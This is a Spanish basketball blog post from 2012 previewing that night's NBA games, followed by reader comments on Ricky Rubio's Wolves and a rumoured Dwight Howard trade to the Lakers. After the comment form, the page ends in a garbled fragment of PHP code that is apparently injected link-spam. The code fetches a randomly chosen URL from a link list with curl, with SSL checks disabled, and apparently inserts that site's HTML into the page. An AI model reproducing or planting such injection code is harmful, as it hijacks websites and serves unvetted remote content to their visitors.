Por fin es viernes: Cobertura popular.

27 de January de 2012 por TheDeerHunter

¡Por fin es viernes!! Toca petarlo a vuestra manera en la exitosa sección de “Cobertura popular”.

Para empezar 13 partidos esta noche, aunque de interés discutible algunos de ellos.

Televisado el Knicks@Miami a las 2, hora española. No sé si habrá mucha gente ansiosa de seguir cómo se la pegan Melo y los suyos en casa de LeBron. Ahora dicen que el figura está hasta el gorro de Riley y le ha entrado morriña de Cleveland. Tendría su guasa una reconciliación pública y televisada con Dan Gilbert. Abrazos y besos en los labios.

Si decidiera trasnochar elegiría el Pacers@Celtics a la 1:30 (buena hora). Los verdes parecen haber resucitado con el retorno de Paul Pierce. Indiana es un equipo bastante temible fuera de casa. El Thunder@Warriors también va a estar bien pero es a las 4:30h. Vamos a ver si los de la bahía se ponen en plan matagigantes en una de esas noches en las que se la lían a cualquiera.

Probablemente aquí seguiremos especialmente las andanzas de Ricky, hoy en casa contra los Spurs (2AM). Hay buenas vibraciones. Peor lo tiene Calderón y los Raptors en su visita a Denver. (3 AM)

Otros partidos de hoy, para los más fieles: Bobcats@Sixers (1AM); Nets@Cavs (1:30AM); Hawks@Pistons (1:30AM); Magic@Hornets (2AM); Bucks@Bulls (2AM); Wizards@Rockets (2AM); Jazz@Mavs (2:30AM); Suns@Blazers (4AM)

Mañana, para los caseros, sólo hay 6 programados y tampoco es que sean un pasote. Juegan los Lakers en Milwaukee, los Grizzlies en Phoenix, los Knicks en Houston… y otros 3 aún más desequilibrados: Pistons@Sixers, Wizards@Bobcats, Kings@Jazz. Ya nos contaréis.

Comenta

127 comentarios a esta entrada

  1. Sancho88 dice:
    #1

    Por cierto, ver defender a Andrew Bynum hace que se me revuelvan las tripas. Qué poco espíritu, chico…

      Citar

  2. Sancho88 dice:
    #2

    Por cierto, última troleada de la noche. El Target Center coreando el mítico OÉ, ÓE, ÓÉ, OÉEEEEEEEEEEEEEEEEE, OÉEEEEEEEEEEEEEEEEEEEEEEEE, ÓEEEEEEEEEEEEEEEEEEEEEEE. Me ha recordado a cuando palmábamos las eurocopas de Raúl y Camacho. Esta gente esta loca perdida con el Ricky. La de niñas que se harán dedazos pensando en él

      Citar

  3. HeiNeKeN dice:
    #3

    Remontada de escandalo con una zona 2-3 y con Randolph-Beasley-Webster en plan perros de presa, increible

      Citar

  4. Jose Luis dice:
    #4

    Sancho no sé que te has fumado hoy, pero ha debido ser algo afrodisíaco porque vaya comentarios jajajaja 😀

      Citar

  5. Jose Luis dice:
    #5

    25 rebotes ofensivos los Wolves… y el máximo reboteador de Lakers, Kobe con 14, y después, Bynum con ¡7!

    Y los Lakers se durmieron, pero en los 3 últimos minutos, parcial 10-2 y partido solucionado.

      Citar

  6. Jose Luis dice:
    #6

    Ojo al partido de Beasley: 18 puntos (7-15 TC, 2-5 T3 , 2-2 TL), 12 Rebotes (3of , 9def), 3asistencias, 2 robos, 1 pérdida. ¿Lo intercambiamos, o esperamos a ver qué pasa?

      Citar

  7. HeiNeKeN dice:
    #7

    A punto de hacer unos ultimos 20 segundos epicos jaja, canasta de Love, Beasley se la roba a Kobe en el saque y mete triple, tiempo muerto de Lakers y en el saque hacia Kobe la pierden, quedando 12 segundos y 4 abajo Wolves… Ricky intenta un pase que bueno, yo creo que nadie se esperaba y al final ganan los Lakers por 5 pero sufriendo muchisimo.

      Citar

  8. MagicJohnson32 dice:
    #8

    Sancho88:
    Por cierto, ver defender a Andrew Bynum hace que se me revuelvan las tripas. Qué poco espíritu, chico…

    No como Pau, que es un fiera, juas…

      Citar

  9. HeiNeKeN dice:
    #9

    Jose Luis:
    Ojo al partido de Beasley: 18 puntos (7-15 TC, 2-5 T3 , 2-2 TL), 12 Rebotes (3of , 9def), 3asistencias, 2 robos, 1 pérdida. ¿Lo intercambiamos, o esperamos a ver qué pasa?

    Beasley hoy como el equipo en general, de menos a más, porque en la 1º mitad llevaba un 1 de 7 creo.

    Los Wolves han jugado los ultimos 17 minutos con Ricky-Webster-Beasley-Randolph (que no había jugado hasta entonces)-Love y han remontado 17 puntos, llegandose a poner 2 arriba cuando quedaban 3 minutos de partido.

    K Love: 33-13
    Ricky: 5-8-4, 2 de 13 en el tiro

      Citar

  10. Sancho88 dice:
    #10

    Hoy flojito Ricky en tiro, aunque al final los Wolves casi remontan gracias a él. El otro día Daimiel comparó las estadísticas en porcentajes de tiro de Ricky Rubio con las de dos jugadores que no destacan por su tiro como Jason Kidd y Rajon Rondo en su primera temporada, y la verdad, que eran mejores las de Ricky. A ver, está claro que es su principal defecto, pero tiene muuuuuuchos años para pulirlas, y conociendo un poco a este muchacho, seguro que va a querer mejorar. De momento, es un ídolo para su afición, y eso no se consigue así como así. Repito, a expensas de que Kemba Walker no haga triples dobles todos los partidos (que lo dudo), aunque para mí se ha ganado el puesto de titular en estos partidos que faltó DJ Augustin por lesión, y viendo que Kyle Irving es incapaz de generar juego para sus compañeros, creo que en la carrera por el rookie del año, Ricky Rubio lleva ventaja ahora mismo.

    Y para cerrar el tema Tyreke. Obvio que no es director, obvio que no ve el basket como Steve Nash. Pero es un tipo que promedia 5 asistencias por noche, lo cual no está nada mal teniendo en cuenta que juega en el equipo donde hay más chupones por metro cuadrado. Se le puede echar la culpa directamente a Tyreke de ese problema? En mi opinión, no, ya que eso debe regirse por los entrenamientos y el planteamiento del entrenador. Y lamentáblemente, ni antes Westphal, ni ahora Smart, están consiguiendo que el equipo juegue en equipo, valga la redundancia

      Citar

  11. Len Bias dice:
    #11

    Vaya máquina de coger rebotes ofensivos es Pekovic! Lleva 5, 6 y 7 en los últimos 3 partidos.
    Lo veo un pivot bastante decente si mejora su problema con las faltas y el agarre del balón.

      Citar

  12. HisRoyalAirness dice:
    #12

    Muy flojo en el tiro pero está acumulando muchos minutos y eso pesa. Pero joder, vaya huevazos que saca, como se le nota que lleva tiempo compitiendo y ganando porque se pone como una fiera cuando van por debajo.

    Sancho como estás! Hay que aliviarse! Jajaja

      Citar

  13. Sancho88 dice:
    #13

    Jeje, na hombre, lo digo todo de coña, es mi estilo.

    Ya que hoy es lunes, pregunta para Denise

    PAU-BYNUM-BARNES
    X
    HOWARD-ANDERSON-TURKOGLU?

    Ahí lo dejo. Está sacado de las conjeturas de Daimiel usando el trade machine de la ESPN

      Citar

  14. Esteban dice:
    #14

    Sancho88:
    Jeje, na hombre, lo digo todo de coña, es mi estilo.

    Ya que hoy es lunes, pregunta para Denise

    PAU-BYNUM-BARNES X
    HOWARD-ANDERSON-TURKOGLU?

    Ahí lo dejo. Está sacado de las conjeturas de Daimiel usando el trade machine de la ESPN

    sancho amigo, podria funcionar, aunque viendo la temporada de los tres lakers q nombras (pau y bynun tuvieron buenos momentos, pero tamb muy malos y barnes es algo que mejor no mencionar) y la temporada de los 3 de orlando, sobretodo anderson, aunque hedo tamb ah jugado por arriba de las expectativas, el cambio favorece mucho a los lakers, estos deberian de ofrecer algunas rondas para equipararlo

      Citar

  15. Sancho88 dice:
    #15

    Yo también pienso que saldrían muy muy reforzados Lakers, pero claro, Orlando si no, va a ser un desierto los próximos años. Que asumen contratos largos? no hay ninguna duda. Pero no creo que puedan sacar algo mejor que esto. Encabezonarse en no traspasar a Howard, repito, les puede hipotecar para los próximos años. Sería una pantomima de equipo. Además Howard rajando de los compañeros y todo. Espectante estoy de la respuesta de Denise, xd

      Citar

  16. Sancho88 dice:
    #16

    Y por cierto, cómo está el Oeste!! 10 de 16 equipos en balance positivo, y Spurs y Memphis fuera de PO, aunque hay que reconocer que llevan rachas un poco malas. Va a haber guerra hasta el final por los dos últimos puestos, y la ventaja de campo va a ser relativa, ya que en primera ronda Oklahoma o Denver se verían las caras con Dallas, Spurs, Lakers o Memphis a cara de perro…

      Citar

  17. Esteban dice:
    #17

    creo que si mañana llegara esa oferta de los lakers a orlando, seria aceptada, no podran conseguir algo mejor que ese traspaso, dos torres que serian potencias en el este y librarse del contrato de hedo, mas la anmistia a arenas, el magic seria contendiente a todo los proximos 3 años, incluso creo que tanto pau como bynun explotarina mejor sin kobe al lado y siendo las primeras cartas del equipo

    los lakers estarian pagando mucho quiza? puede ser, pero este año asi no van a ningun lado, semifinal de conferencia o final de conferencia con mucha suerte, creo que fichar a howard valdria la pena desde este mismo año, ademas por mas malo que sea el contrato de hedo, los lakers necesitan un alero que pueda producir algo, y hedo puede hacerlo

    la gran temporada de anderson, creo que hace posible este traspaso, los lakers tendrian un dupla frontal, algo que no tendrian si como se hablo en un principio, tanto bynun como gasol irian los dos por howard, con anderson todo tine mucho mas sentido

      Citar

  18. Sancho88 dice:
    #18

    Sobre todo porque Anderson es un 4 abierto, y Pau no tiene esa amenaza desde el triple. Brown juega con un solo pivote referencia (hablo en concepción de sistema, no le gusta tener dos torres juntas), y en este caso es Bynum, pero cambiaría a Bynum por Howard con los ojos cerrados, y Anderson no es Pau, obviamente, pero encajaría mejor en el sistema, por lo que podría igualar un poco las prestaciones de Pau este mismo año. Además, yo creo que es evidente que la producción real en pista de Pau+Bynum es igualada o superada, en mi opinión, por lo que ofrecen Howard+Anderson. Y repito, y no quiero ser pesado, según el dibujo táctico de Brown. Lógicamente, con Jackson en el banquillo la cosa cambiaría.

    Peor la pregunta principal sería: Aspira Bryant al sexto anillo con la actual plantilla? La respuesta: No. Deberían aprovechar los jugadores que tienen para buscar algo mejor? La respuesta: Sí.

    Tengo muchas ganas de saber qué opina Denise

      Citar

  19. Denise dice:
    #19

    Sancho88:
    Jeje, na hombre, lo digo todo de coña, es mi estilo.

    Ya que hoy es lunes, pregunta para Denise

    PAU-BYNUM-BARNES X
    HOWARD-ANDERSON-TURKOGLU?

    Ahí lo dejo. Está sacado de las conjeturas de Daimiel usando el trade machine de la ESPN

    Daimiel ha dicho eso?? que pasa, me esta robando mis trades..?..xD

    Hombre, no me disgusta el trade, pero Ryan Anderson te destroza partidos, no me gustaría que se fuera, preferirá que se fuera antes Glen Davis. La verdad es que en ese trade, a corto plazo las opciones a anillo de Lakers se multiplicarian. Arenas-Kobe-Turkoglu-Anderson-Howard con todos motivados y concentrados es un quinteto de lujo. Matizo lo de a corto plazo porque a Ryan Anderson hay que renovarlo proximamente y pedirá un buen pastizal, y en ese caso, teniendo 2 grandes contratos como el de Kobe que se come la mitad del espacio salarial y el de Superman, no sé hasta qué punto podrían ofrecerle de pastizal a Anderson sin descompensar el equipo.

    Mi cambio sería Howard+Turkoglu+Quentin Richardson+Chris Duhon por Gasol, Bynum, Blake y Barnes.

    De todos modos, ahora mismo preferiría no traspasar a Howard aunque fuera a costa de quedarme sin nada a cambio. Pero si no lo traspasas, habría mas opciones de renovación, ya que Lakers, Mavs y Knicks ya no podrían ficharlo. Aunque probablemente, se acabaría yendose a Celtics o Nets.

      Citar

  20. Sancho88 dice:
    #20

    Claro, habría más opciones de renovación si Howard no hubiera dicho hace dos días que se va, jajaaj, que está hasta las pelotas del equipo, y que mira a sus compañeros y no les ve cara de competir. No te hagas ilusiones Denise, ese tío abandona los Magic sí o sí, y no parece un mal intercambio con Lakers

      Citar

  21. Denise dice:
    #21

    Hombre, los Lakers son el equipo que mejores tios tienen para traspasar, porque lo que ofrecían los Nets, Brook Lopez + 4 mataos no me convencía, y segun algunos rumores, los Mavs ofrecian a Odom y Haywood, y tampoco me convence.

    Howard tiene un 95% de posibilidades de largarse, lo malo es que metan en el paquete a Ryan Anderson.

      Citar

  22. simon dice:
    #22

    Para mi Orlando deberia aceptar esa hipoteitca oferta de los Lakers por 3 motivos:
    – Nadie va a ofrecerles mas.
    – Con esas dos torres y con todos los tiradores, no creo que su porcentaje de victorias baje demasiado. seguirán siendo competitivos.
    – Sería traspasado a un equipo del Oeste, por lo tanto no alimentaria a ningun equipo del Este en su lucha por los Play Off

      Citar

  23. simon dice:
    #23

    Eso si, para mi Orlando deberia intentar que no entrara Ryan Anderson en ese Trade, asi podrían tener un 4 abierto de calidad en el banco y buscar un posible traspaso de Gasol por un externo de calidad que les diera anotacion exterior

      Citar

  24. Denise dice:
    #24

    simon: Eso si, para mi Orlando deberia intentar que no entrara Ryan Anderson en ese Trade, asi podrían tener un 4 abierto de calidad en el banco y buscar un posible traspaso de Gasol por un externo de calidad que les diera anotacion exterior

    A eso me refiero, la oferta es muy buena siempre y cuando no entre Ryan Anderson

      Citar

  25. Sancho88 dice:
    #25

    Jeje, es que precisamente Ryan Anderson sería la clave de ese traspaso, porque si no, un Howard por Gasol+Bynum sería la última bajada de pantalones del señor Jerry Buss después de la que protagonizó con el no traspaso de Chris Paul. Orlando tiene que asumir que es ahora o nunca, y no creo que sea peor perder a Ryan Anderson que perder una década, porque está comprobado que si se te va un jugador franquicia de esas condiciones, o tienes mucha suerte con los draft y te conviertes en el equipo perdedor por antonomasia (como les paso a los Grizzlies después de la salida de Pau), o si no, mira a los Bulls, haciendo el ridículo durante más de una década, o los Cavs (y lo que te rondaré morena) después de la salida de Lebron. El orgullo en estos casos es mejor metérselo por el ojete, y aunque sería totalmente respetable la decisión de no traspasar a Howard, y así reforzar a otros equipos, emponzoñarse en la postura es ineficaz, y además, cuantos más días tarden en soltar a la bestia, peores ofertas les llegarán (si es que hay alguna ahora mismo, que yo creo que sí), y lo que es peor, el tradeline está a la vuelta de la esquina. Ellos sabrán…

      Citar

  26. Jose Luis dice:
    #26

    Y por cierto, Howard sí que podría ir a los Mavs como agente libre, ya que estos tendrán muuuucho espacio salarial el próximo año.

      Citar

  27. Denise dice:
    #27

    No es Howard por Gasol y Bynum lo que yo digo, sino Howard + Turkoglu…es que ya si a parte de estos 2 les damos a Ryan Anderson..apaga y vamonos

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>